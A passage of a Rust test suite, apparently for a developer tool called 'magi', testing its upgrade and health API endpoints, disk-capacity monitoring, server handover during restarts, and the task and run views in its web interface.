24166 upgrade_retry_after("GitHub secondary rate limit hit (retry after 1m). Slow down"),
24167 Some(60)
24168 );
24169 assert_eq!(
24170 upgrade_retry_after("GitHub API rate limit exceeded (retry now)"),
24171 Some(0)
24172 );
24173 for message in [
24174 "permission denied",
24175 "GitHub API rate limit exceeded",
24176 "GitHub rate limit (resets in unknown)",
24177 "GitHub rate limit (resets in 18446744073709551615d)",
24178 ] {
24179 assert_eq!(upgrade_retry_after(message), None, "{message}");
24180 }
24181 }
24182
24183 #[tokio::test]
24184 async fn upgrade_request_failure_survives_health_without_changing_successful_progress() {
24185 let home = TempDir::new().unwrap();
24186 let ui = Arc::new(idle_ui(&home).with_worktrees_root(home.path().join("wt")));
24187 ui.start_loop(None).unwrap();
24188 updater::write_progress(home.path(), &seeded_progress(updater::Stage::Done)).unwrap();
24189 let before = std::fs::read(updater::progress_path(home.path())).unwrap();
24190 let reason = "GitHub API rate limit exceeded (resets in 2m). Authenticate the request";
24191 let result = upgrade_checked(&ui, "0.1.0".into(), Err(anyhow::anyhow!(reason)));
24192 let response = finish_upgrade_request(&ui, result);
24193 assert_eq!(response.status(), StatusCode::INTERNAL_SERVER_ERROR);
24194 assert_eq!(response.headers()["retry-after"], "120");
24195 let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
24196 .await
24197 .unwrap();
24198 let body: serde_json::Value = serde_json::from_slice(&bytes).unwrap();
24199 assert!(body["error"].as_str().unwrap().contains(reason));
24200 assert_eq!(body["retry_after_secs"], 120);
24201 assert!(body["retry_at"].as_u64().is_some());
24202 for _ in 0..2 {
24203 let view = health(State(ui.clone())).await.unwrap().0;
24204 let failure = serde_json::to_value(view.upgrade_request_error).unwrap();
24205 assert_eq!(failure, body);
24206 }
24207 assert_eq!(
24208 std::fs::read(updater::progress_path(home.path())).unwrap(),
24209 before
24210 );
24211 assert!(!ui.lock_loop().live.as_ref().unwrap().stop.stopped());
24212 assert!(!ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst));
24213 let gate = ui.upgrade_gate.lock().await;
24215 assert_eq!(
24216 upgrade_post(State(ui.clone())).await.status(),
24217 StatusCode::CONFLICT
24218 );
24219 drop(gate);
24220 assert!(
24221 health(State(ui.clone()))
24222 .await
24223 .unwrap()
24224 .0
24225 .upgrade_request_error
24226 .is_some()
24227 );
24228 let out = upgrade_checked(&ui, "0.1.0".into(), Ok(None));
24229 assert_eq!(finish_upgrade_request(&ui, out).status(), StatusCode::OK);
24230 assert!(
24231 health(State(ui.clone()))
24232 .await
24233 .unwrap()
24234 .0
24235 .upgrade_request_error
24236 .is_none()
24237 );
24238 let live = ui.lock_loop().live.take().unwrap();
24239 live.stop.stop();
24240 live.handle.await.unwrap();
24241 }
24242
24243 #[tokio::test]
24244 async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
24245 use crate::updater::Stage;
24246 let repo = TempDir::new().expect("repo dir");
24247 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
24248 .expect("write magi.toml");
24249 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
24250 for stage in [Stage::Done, Stage::Failed] {
24251 crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
24252 let res = fx.post("/api/upgrade", None).await;
24253 assert_eq!(res.status, 200, "{stage:?}");
24254 }
24255 let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
24257 assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
24258 }
24259
24260 #[tokio::test]
24261 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
24262 let repo = TempDir::new().expect("repo dir");
24278 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
24279 .expect("write magi.toml");
24280 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
24281
24282 let res = fx.post("/api/upgrade", None).await;
24288 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
24289 let body = res.json();
24290 assert!(body["to"].is_null(), "there was no release to move to");
24291 assert!(body["parked"].is_null(), "and nothing was parked");
24292 assert!(
24293 body["detail"]
24294 .as_str()
24295 .unwrap()
24296 .contains("nothing restarted"),
24297 "{body:?}"
24298 );
24299 }
24300
24301 async fn wait_for_disk_scan(state: &Arc<Mutex<DiskObservation>>) {
24302 tokio::time::timeout(Duration::from_secs(5), async {
24303 while state.lock().unwrap().in_flight {
24304 tokio::task::yield_now().await;
24305 }
24306 })
24307 .await
24308 .expect("capacity scan finished");
24309 }
24310
24311 fn disk_test_scope(home: &FsPath) -> DiskScope {
24312 DiskScope {
24313 runs: home.join("runs"),
24314 worktrees: home.join("worktrees"),
24315 cache: Some(home.join("cache")),
24316 }
24317 }
24318
24319 fn known_disk_capacity() -> DiskCapacity {
24320 DiskCapacity {
24321 free_bytes: Some(100),
24322 runs_bytes: Some(200),
24323 worktrees_bytes: Some(300),
24324 cache_bytes: Some(400),
24325 }
24326 }
24327
24328 #[tokio::test]
24329 async fn health_disk_cold_and_concurrent_requests_do_not_wait_for_capacity() {
24330 let home = TempDir::new().unwrap();
24331 std::fs::write(home.path().join("magi.toml"), "[update]\nmode = \"off\"\n").unwrap();
24332 let mut ui = delta_test_ui(home.path());
24333 let state = Arc::get_mut(&mut ui).unwrap();
24334 state.repo = home.path().to_owned();
24335 state.worktrees_root = home.path().join("worktrees");
24336 *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
24337 ui.monitor
24338 .worker_started
24339 .store(true, std::sync::atomic::Ordering::SeqCst);
24340 let cfg = deputy_config(&ui.repo);
24341 let scope = DiskScope::of(&ui, cfg.as_ref());
24342 let (started, reached) = tokio::sync::oneshot::channel();
24343 let (release, blocked) = std::sync::mpsc::channel();
24344 let cold = DiskObservation::observe(&ui.monitor.disk, scope, move |_| {
24345 started.send(()).unwrap();
24346 let _ = blocked.recv();
24348 known_disk_capacity()
24349 });
24350 assert!(cold.runs_bytes.is_none());
24351 tokio::time::timeout(Duration::from_secs(5), reached)
24352 .await
24353 .unwrap()
24354 .unwrap();
24355
24356 let requests: Vec<_> = (0..4)
24357 .map(|_| {
24358 let ui = ui.clone();
24359 tokio::spawn(async move { health(State(ui)).await.unwrap().0 })
24360 })
24361 .collect();
24362 let completed = tokio::time::timeout(Duration::from_secs(60), async {
24366 for request in requests {
24367 let view = request.await.unwrap();
24368 let disk = serde_json::to_value(view.disk).unwrap();
24369 assert!(disk["runs_bytes"].is_null());
24370 assert!(disk["worktrees_bytes"].is_null());
24371 assert!(disk["free_bytes"].is_u64());
24374 }
24375 })
24376 .await;
24377 if completed.is_err() {
24378 release.send(()).unwrap();
24379 wait_for_disk_scan(&ui.monitor.disk).await;
24380 panic!("health must return while the measurement is causally blocked");
24381 }
24382 assert!(ui.monitor.disk.lock().unwrap().in_flight);
24383 assert!(
24385 ui.monitor
24386 .disk
24387 .lock()
24388 .unwrap()
24389 .capacity
24390 .runs_bytes
24391 .is_none()
24392 );
24393 release.send(()).unwrap();
24394 wait_for_disk_scan(&ui.monitor.disk).await;
24395 assert_eq!(
24396 ui.monitor.disk.lock().unwrap().capacity.runs_bytes,
24397 Some(200)
24398 );
24399 }
24400
24401 #[tokio::test]
24402 async fn health_disk_refresh_retains_successes_and_cadence_starts_at_completion() {
24403 let home = TempDir::new().unwrap();
24404 let scope = disk_test_scope(home.path());
24405 let state = Arc::new(Mutex::new(DiskObservation {
24406 scope: Some(scope.clone()),
24407 capacity: known_disk_capacity(),
24408 finished: Some(std::time::Instant::now() - DISK_REFRESH * 2),
24409 ..Default::default()
24410 }));
24411 let (started, reached) = tokio::sync::oneshot::channel();
24412 let (release, blocked) = std::sync::mpsc::channel();
24413 let before = DiskObservation::observe(&state, scope.clone(), move |_| {
24414 started.send(()).unwrap();
24415 blocked.recv().unwrap();
24416 DiskCapacity {
24417 runs_bytes: Some(250),
24418 ..Default::default()
24419 }
24420 });
24421 assert_eq!(before.cache_bytes, Some(400));
24422 tokio::time::timeout(Duration::from_secs(5), reached)
24423 .await
24424 .unwrap()
24425 .unwrap();
24426 let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
24427 for _ in 0..4 {
24428 let scans = duplicate_scans.clone();
24429 let during = DiskObservation::observe(&state, scope.clone(), move |_| {
24430 scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
24431 DiskCapacity::default()
24432 });
24433 assert_eq!(during.runs_bytes, Some(200));
24434 assert_eq!(during.cache_bytes, Some(400));
24435 }
24436 release.send(()).unwrap();
24437 wait_for_disk_scan(&state).await;
24438 let scans = duplicate_scans.clone();
24439 let after = DiskObservation::observe(&state, scope, move |_| {
24440 scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
24441 DiskCapacity::default()
24442 });
24443 wait_for_disk_scan(&state).await;
24444 assert_eq!(after.runs_bytes, Some(250));
24445 assert_eq!(after.free_bytes, Some(100));
24446 assert_eq!(after.cache_bytes, Some(400));
24447 assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
24448 assert!(state.lock().unwrap().finished.unwrap().elapsed() < DISK_REFRESH);
24449 }
24450
24451 #[tokio::test]
24452 async fn health_disk_changed_scope_never_publishes_the_previous_cache() {
24453 let home = TempDir::new().unwrap();
24454 let old_scope = disk_test_scope(home.path());
24455 let mut new_scope = old_scope.clone();
24456 new_scope.cache = Some(home.path().join("replacement-cache"));
24457 let state = Arc::new(Mutex::new(DiskObservation {
24458 scope: Some(old_scope.clone()),
24459 capacity: known_disk_capacity(),
24460 ..Default::default()
24461 }));
24462 let (started, reached) = tokio::sync::oneshot::channel();
24463 let (release, blocked) = std::sync::mpsc::channel();
24464 DiskObservation::observe(&state, old_scope, move |_| {
24465 started.send(()).unwrap();
24466 blocked.recv().unwrap();
24467 known_disk_capacity()
24468 });
24469 tokio::time::timeout(Duration::from_secs(5), reached)
24470 .await
24471 .unwrap()
24472 .unwrap();
24473 let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
24474 let scans = duplicate_scans.clone();
24475 let changed = DiskObservation::observe(&state, new_scope.clone(), move |_| {
24476 scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
24477 DiskCapacity::default()
24478 });
24479 assert!(changed.cache_bytes.is_none());
24480 assert!(changed.runs_bytes.is_none());
24481 release.send(()).unwrap();
24482 wait_for_disk_scan(&state).await;
24483 {
24484 let observation = state.lock().unwrap();
24485 assert!(observation.capacity.cache_bytes.is_none());
24486 assert!(observation.finished.is_none());
24487 }
24488 DiskObservation::observe(&state, new_scope.clone(), move |scope| {
24489 assert_eq!(scope, &new_scope);
24490 DiskCapacity {
24491 cache_bytes: Some(999),
24492 ..Default::default()
24493 }
24494 });
24495 wait_for_disk_scan(&state).await;
24496 assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(999));
24497 assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
24498 }
24499
24500 #[tokio::test]
24501 async fn health_disk_panicked_worker_releases_flight_and_retries_after_cadence() {
24502 let home = TempDir::new().unwrap();
24503 let scope = disk_test_scope(home.path());
24504 let state = Arc::new(Mutex::new(DiskObservation {
24505 scope: Some(scope.clone()),
24506 capacity: known_disk_capacity(),
24507 ..Default::default()
24508 }));
24509 DiskObservation::observe(&state, scope.clone(), |_| panic!("capacity worker failure"));
24510 wait_for_disk_scan(&state).await;
24511 {
24512 let mut observation = state.lock().unwrap();
24513 assert_eq!(observation.capacity.cache_bytes, Some(400));
24514 assert!(observation.finished.unwrap().elapsed() < DISK_REFRESH);
24515 observation.finished = Some(std::time::Instant::now() - DISK_REFRESH);
24516 }
24517 DiskObservation::observe(&state, scope, |_| DiskCapacity {
24518 cache_bytes: Some(450),
24519 ..Default::default()
24520 });
24521 wait_for_disk_scan(&state).await;
24522 assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(450));
24523 }
24524
24525 #[test]
24526 fn health_disk_capacity_counts_empty_and_missing_without_following_links() {
24527 let home = TempDir::new().unwrap();
24528 assert_eq!(disk_capacity_size(&home.path().join("missing")), Some(0));
24529 assert_eq!(disk_capacity_size(home.path()), Some(0));
24530 std::fs::create_dir(home.path().join("nested")).unwrap();
24531 std::fs::write(home.path().join("nested/data"), b"12345").unwrap();
24532 assert_eq!(disk_capacity_size(home.path()), Some(5));
24533 #[cfg(unix)]
24534 {
24535 assert_eq!(
24537 disk_capacity_size(&home.path().join("nested/data/child")),
24538 None
24539 );
24540 }
24541 #[cfg(unix)]
24542 {
24543 std::os::unix::fs::symlink(home.path(), home.path().join("nested/link")).unwrap();
24544 assert_eq!(disk_capacity_size(home.path()), Some(5));
24545 }
24546 }
24547
24548 #[tokio::test]
24549 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
24550 let repo = TempDir::new().expect("repo dir");
24555 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
24556 .expect("write magi.toml");
24557 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
24558
24559 let health = fx.get("/api/health").await.json();
24560 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
24561 assert_eq!(
24562 health["update"]["available"], false,
24563 "checking is off, which reads as \"unknown\", not \"none\""
24564 );
24565 assert!(health["update"]["to"].is_null());
24566 assert!(
24567 health["upgrade"].is_null(),
24568 "nothing has ever asked this deck to upgrade"
24569 );
24570 }
24571
24572 #[tokio::test]
24573 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
24574 let fx = Fixture::start().await;
24575 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
24576
24577 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
24578 progress.parked_run = Some("20260905-000000-cd51".to_owned());
24579 progress.advance(crate::updater::Stage::Parking);
24580 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
24581
24582 let health = fx.get("/api/health").await.json();
24583 assert_eq!(health["upgrade"]["stage"], "parking");
24584 assert_eq!(health["upgrade"]["from"], "0.5.1");
24585 assert_eq!(health["upgrade"]["to"], "0.5.2");
24586 let waiting_on = health["upgrade"]["waiting_on"]
24587 .as_str()
24588 .expect("waiting_on is set while parking a known run");
24589 assert!(waiting_on.contains("cd51"), "{waiting_on}");
24590 assert!(waiting_on.contains("implementing"), "{waiting_on}");
24591 }
24592
24593 #[tokio::test]
24594 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
24595 let fx = Fixture::start().await;
24596 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
24597 progress.advance(crate::updater::Stage::Done);
24598 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
24599
24600 let health = fx.get("/api/health").await.json();
24601 assert_eq!(health["upgrade"]["stage"], "done");
24602 assert!(
24603 health["upgrade"]["waiting_on"].is_null(),
24604 "nothing to wait on once it is done"
24605 );
24606 }
24607
24608 #[tokio::test]
24611 async fn the_handover_signal_wakes_one_waiter_once() {
24612 let signal = Notify::new();
24613 signal.notify_one();
24615 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
24616 .await
24617 .expect("an early signal is still seen");
24618 assert!(
24620 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
24621 .await
24622 .is_err(),
24623 "a consumed signal must not wake a second time"
24624 );
24625 let signal = std::sync::Arc::new(signal);
24627 let waiter = tokio::spawn({
24628 let signal = std::sync::Arc::clone(&signal);
24629 async move { wait_for_handover(&signal).await }
24630 });
24631 tokio::time::sleep(Duration::from_millis(20)).await;
24632 assert!(!waiter.is_finished(), "nothing was signalled yet");
24633 signal.notify_one();
24634 tokio::time::timeout(Duration::from_secs(5), waiter)
24635 .await
24636 .expect("a late signal wakes the waiter")
24637 .expect("join");
24638 }
24639
24640 #[tokio::test]
24641 async fn health_says_how_long_a_handover_has_been_stuck() {
24642 let fx = Fixture::start().await;
24643 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
24644 progress.advance(crate::updater::Stage::Replaced);
24645 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
24646 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
24647
24648 let health = fx.get("/api/health").await.json();
24649 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
24650 assert!(stuck >= 600, "{stuck}");
24651 assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
24652 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
24653 }
24654
24655 #[tokio::test]
24656 async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
24657 let home = tempfile::tempdir().expect("temp home");
24658 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
24659 progress.advance(crate::updater::Stage::Parking);
24660 crate::updater::write_progress(home.path(), &progress).expect("seed");
24661 let mut again = progress.clone();
24663 again.advance(crate::updater::Stage::Replaced);
24664 crate::updater::write_progress(home.path(), &again).expect("replaced");
24665 let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
24666 crate::updater::write_progress(home.path(), &fresh).expect("downloading");
24667 let after = crate::updater::read_progress(home.path()).expect("record");
24668 assert_eq!(after.stage, crate::updater::Stage::Parking);
24669 }
24670
24671 #[tokio::test]
24672 async fn health_does_not_call_a_live_parking_wait_stuck() {
24673 let fx = Fixture::start().await;
24674 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
24675 progress.parked_run = Some("20260905-000000-cd51".to_owned());
24676 progress.advance(crate::updater::Stage::Parking);
24677 let hours = Duration::from_secs(3 * 3600);
24678 progress.started_at = Timestamp::now() - hours;
24679 progress.updated_at = Timestamp::now() - hours;
24680 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
24681 let _lease = crate::updater::LeaseGuard::enter(
24682 fx.home.path(),
24683 Some("20260905-000000-cd51".to_owned()),
24684 );
24685
24686 let health = fx.get("/api/health").await.json();
24687 assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
24688 assert!(health["upgrade"]["stuck_kind"].is_null());
24689 assert_eq!(health["upgrade"]["handover_alive"], true);
24690 let waiting_on = health["upgrade"]["waiting_on"]
24691 .as_str()
24692 .expect("waiting_on");
24693 assert!(waiting_on.contains("cd51"), "{waiting_on}");
24694 }
24695
24696 fn idle_ui(home: &TempDir) -> Ui {
24697 let runs = home.path().join("runs");
24698 std::fs::create_dir_all(&runs).expect("runs dir");
24699 Ui::new(
24700 Queue::at(home.path().join("queue")),
24701 Questions::at(home.path().join("questions")),
24702 Talks::at(home.path().join("talks")),
24703 runs,
24704 home.path().to_path_buf(),
24705 PathBuf::from("/repo/magi"),
24706 )
24707 .with_launch(launch_idle)
24708 }
24709
24710 #[tokio::test]
24711 async fn start_during_scheduler_stop_is_busy_and_preserves_the_stop() {
24712 let home = TempDir::new().expect("temp home");
24713 let ui = idle_ui(&home);
24714 let lease = crate::worker::try_lease(home.path(), "scheduler")
24715 .expect("scheduler lease")
24716 .expect("free");
24717 crate::worker::request(home.path(), "scheduler", crate::worker::Control::Stop)
24718 .expect("request stop");
24719 let error = ui
24720 .start_detached_loop()
24721 .await
24722 .expect_err("transition is still live");
24723 assert_eq!(error.status, StatusCode::CONFLICT);
24724 assert!(error.message.contains("still running or stopping"));
24725 assert_eq!(
24726 crate::worker::control(home.path(), "scheduler").unwrap(),
24727 Some(crate::worker::Control::Stop)
24728 );
24729 drop(lease);
24730 }
24731
24732 #[tokio::test]
24733 async fn handover_releases_listener_without_waiting_for_execution_leases() {
24734 let home = TempDir::new().expect("temp home");
24735 let ui = idle_ui(&home);
24736 let turns = ui
24737 .begin_talk_turn("active-chat")
24738 .expect("claim")
24739 .expect("free");
24740 let execution = crate::worker::try_lease(home.path(), "active-task")
24741 .expect("execution lease")
24742 .expect("free");
24743 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
24744 .await
24745 .expect("bind loopback");
24746 let address = listener.local_addr().expect("address");
24747 let admissions = Arc::clone(&ui.admissions);
24748 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
24749 let successor_started = std::sync::atomic::AtomicBool::new(false);
24750 tokio::time::timeout(
24751 Duration::from_secs(2),
24752 hand_over(home.path(), &admissions, served, || {
24753 successor_started.store(true, std::sync::atomic::Ordering::SeqCst);
24754 Ok(1)
24755 }),
24756 )
24757 .await
24758 .expect("restart must not wait for execution")
24759 .expect("handover");
24760 assert!(successor_started.load(std::sync::atomic::Ordering::SeqCst));
24761 let successor = bind_waiting(address)
24764 .await
24765 .expect("successor binds released address");
24766 assert_eq!(successor.local_addr().unwrap(), address);
24767 assert!(turns.owns(), "the chat lease survives restart");
24768 assert!(
24769 crate::worker::try_lease(home.path(), "active-task")
24770 .unwrap()
24771 .is_none()
24772 );
24773 drop(execution);
24774 drop(turns);
24775 }
24776
24777 #[tokio::test]
24778 async fn handover_drains_admission_but_never_waits_for_the_chat_turn() {
24779 let home = TempDir::new().expect("temp home");
24780 let ui = idle_ui(&home);
24781 let admission = ui.begin_admission().expect("admit send");
24782 let turn = ui
24783 .begin_talk_turn("active-chat")
24784 .expect("claim")
24785 .expect("free");
24786 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
24787 .await
24788 .expect("bind loopback");
24789 let address = listener.local_addr().expect("address");
24790 let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
24791 let successor_called = std::sync::atomic::AtomicBool::new(false);
24792 let handover = hand_over(home.path(), &ui.admissions, served, || {
24793 successor_called.store(true, std::sync::atomic::Ordering::SeqCst);
24794 Ok(1)
24795 });
24796 tokio::pin!(handover);
24797 std::future::poll_fn(|cx| {
24800 assert!(std::future::Future::poll(handover.as_mut(), cx).is_pending());
24801 std::task::Poll::Ready(())
24802 })
24803 .await;
24804 assert!(!successor_called.load(std::sync::atomic::Ordering::SeqCst));
24805 assert!(
24806 ui.begin_admission().is_err(),
24807 "new ingress cannot race the drain"
24808 );
24809 assert_eq!(request(address, "GET", "/api/loop", None).await.status, 200);
24810 drop(admission);
24811 tokio::time::timeout(Duration::from_secs(2), handover)
24812 .await
24813 .expect("only publication may delay restart")
24814 .expect("handover");
24815 assert!(successor_called.load(std::sync::atomic::Ordering::SeqCst));
24816 assert!(
24817 turn.owns(),
24818 "the detached chat turn is not awaited or cancelled"
24819 );
24820 assert!(
24821 ui.begin_admission().is_err(),
24822 "old accepted connections stay closed"
24823 );
24824 drop(turn);
24825 }
24826
24827 #[test]
24828 fn health_worker_metadata_never_contains_payload_or_result() {
24829 let view = WorkerView::from(crate::worker::Job {
24830 id: "job".into(),
24831 sequence: 1,
24832 kind: "service".into(),
24833 key: "maintenance".into(),
24834 payload: serde_json::json!({"env": {"TOKEN": "private"}}),
24835 generation: "generation".into(),
24836 version: Some("1.2.3".into()),
24837 status: crate::worker::Status::Running,
24838 result: Some("private diagnostics".into()),
24839 pid: Some(4242),
24840 created_at: 1,
24841 finished_at: None,
24842 });
24843 let value = serde_json::to_value(view).expect("serialize public metadata");
24844 assert_eq!(value["version"], "1.2.3");
24845 assert_eq!(value["pid"], 4242);
24846 assert!(value.get("payload").is_none());
24847 assert!(value.get("result").is_none());
24848 assert!(!value.to_string().contains("private"));
24849 }
24850
24851 #[test]
24852 fn upgraded_scheduler_remains_owned_by_a_replacement_web() {
24853 let home = TempDir::new().expect("temp home");
24854 let ui = idle_ui(&home);
24855 std::fs::write(
24856 home.path().join("daemon.json"),
24857 serde_json::json!({
24858 "schema": 2, "pid": 4242, "worker_protocol": 1,
24859 "updated_at": Timestamp::now().to_string(), "idle": true,
24860 })
24861 .to_string(),
24862 )
24863 .expect("status");
24864 let reading = daemon::read_status(home.path());
24865 assert!(Foreign::of(reading.as_ref()).is_none());
24866 let view = ui.runtime_loop_view(reading, &[]);
24867 assert!(view.running);
24868 assert!(view.owned);
24869 }
24870
24871 #[test]
24872 fn only_an_explicit_one_requests_a_resume() {
24873 assert!(!resume_requested(None));
24874 assert!(!resume_requested(Some("0".into())));
24875 assert!(!resume_requested(Some("".into())));
24876 assert!(resume_requested(Some("1".into())));
24877 }
24878
24879 #[test]
24880 fn an_error_is_visible_from_where_the_button_is() {
24881 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
24886 ..APP_CSS.find(".alert-text").expect(".alert-text")];
24887 assert!(
24888 alert.contains("position: fixed"),
24889 "an error about the thing under your thumb has to be visible from \
24890 where your thumb is: {alert}"
24891 );
24892 assert!(
24893 alert.contains("z-index: 25"),
24894 "above the dock (20) and the run-actions FAB (15), so neither \
24895 buries it: {alert}"
24896 );
24897 assert!(
24898 alert.contains("var(--tap)"),
24899 "and clear of the dock and the home indicator: {alert}"
24900 );
24901 assert!(
24904 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
24905 "the FAB's column stays free: {alert}"
24906 );
24907 }
24908
24909 #[tokio::test]
24910 async fn an_older_attempt_says_what_replaced_it() {
24911 let fx = Fixture::start().await;
24912 let q = fx.queue();
24913 let runs = fx.runs();
24914 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
24915 write_run(&runs, first, RunStatus::Stalled);
24916 write_run(&runs, second, RunStatus::Blocked);
24917
24918 let mut t = Task::new(
24919 "one task".to_owned(),
24920 "do it".to_owned(),
24921 PathBuf::from("/repo"),
24922 Source::Human,
24923 );
24924 t.runs = vec![first.to_owned(), second.to_owned()];
24925 q.put(&mut t).expect("put");
24926
24927 let rows = fx.get("/api/runs").await.json();
24931 let by = |short: &str| -> Value {
24932 rows.as_array()
24933 .unwrap()
24934 .iter()
24935 .find(|r| r["short"] == short)
24936 .cloned()
24937 .unwrap_or(Value::Null)
24938 };
24939 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
24940 assert!(
24941 by("bbbb")["superseded_by"].is_null(),
24942 "the latest attempt is not superseded by anything"
24943 );
24944 assert!(APP_JS.contains("run.superseded_by"));
24946 assert!(APP_JS.contains("Superseded by"));
24947 }
24948
24949 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
24950 let mut t = Task::new(
24951 "one task".to_owned(),
24952 "do it".to_owned(),
24953 PathBuf::from("/repo"),
24954 Source::Human,
24955 );
24956 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
24957 t.status = status;
24958 t
24959 }
24960
24961 #[test]
24962 fn source_link_picks_the_page_that_filed_the_task() {
24963 let agent = |node: &str| Source::Agent {
24964 run: "20260904-014455-ab12".to_owned(),
24965 node: node.to_owned(),
24966 };
24967 let chat = source_link(&agent("chat")).expect("chat link");
24968 assert_eq!(chat.kind, "chat");
24969 assert_eq!(chat.id, "20260904-014455-ab12");
24970 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
24971 let run = source_link(&agent("implement")).expect("run link");
24972 assert_eq!(
24973 (run.kind, run.href.as_str()),
24974 ("run", "#/runs/20260904-014455-ab12")
24975 );
24976 assert_eq!(source_link(&Source::Human), None);
24977 assert_eq!(
24978 source_link(&Source::Issue {
24979 number: 3,
24980 repo: "o/r".to_owned()
24981 }),
24982 None
24983 );
24984 let odd = source_link(&Source::Agent {
24985 run: "a b/c".to_owned(),
24986 node: "chat".to_owned(),
24987 })
24988 .expect("link");
24989 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
24990 }
24991
24992 #[test]
24993 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
24994 assert!(
24995 !APP_JS.contains("src.node === \"chat\""),
24996 "inline href rule is back"
24997 );
24998 assert!(
24999 APP_JS.matches("sourceLinkOf(").count() >= 4,
25000 "helper must serve every page"
25001 );
25002 assert!(
25003 APP_JS.matches("openChatLink(").count() >= 3,
25004 "the run page still needs its explicit chat link"
25005 );
25006 assert!(
25007 !APP_JS.contains("const openChat = el("),
25008 "the Queue card duplicates its source label link again"
25009 );
25010 assert!(
25011 APP_JS.contains("metaKids.push(link ? el(\"a\""),
25012 "the task page must link a chat source label too"
25013 );
25014 }
25015
25016 #[test]
25017 fn task_ref_carries_the_source_link_for_a_chat_task() {
25018 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
25019 t.source = Source::Agent {
25020 run: "20260904-014455-ab12".to_owned(),
25021 node: "chat".to_owned(),
25022 };
25023 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
25024 let v = serde_json::to_value(&out).expect("json");
25025 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
25026 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
25027 assert_eq!(v["source_label"], t.source.label());
25028
25029 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
25030 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
25031 .expect("json");
25032 assert!(v["source_link"].is_null(), "{v}");
25033 }
25034
25035 #[test]
25036 fn task_view_serializes_source_link() {
25037 let mut t = Task::new(
25038 "t".to_owned(),
25039 "t".to_owned(),
25040 PathBuf::from("/repo"),
25041 Source::Agent {
25042 run: "20260901-000000-aaaa".to_owned(),
25043 node: "implement".to_owned(),
25044 },
25045 );
25046 t.runs.clear();
25047 let v = serde_json::to_value(TaskView::from(t)).expect("json");
25048 assert_eq!(v["source_link"]["kind"], "run", "{v}");
25049 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
25050 }
25051
25052 #[test]
25053 fn task_view_serializes_urgent_flag() {
25054 let mut t = Task::new(
25055 "t".to_owned(),
25056 "t".to_owned(),
25057 PathBuf::from("/repo"),
25058 Source::Human,
25059 );
25060 let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
25061 assert_eq!(v["urgent"], false, "{v}");
25062 t.urgent = true;
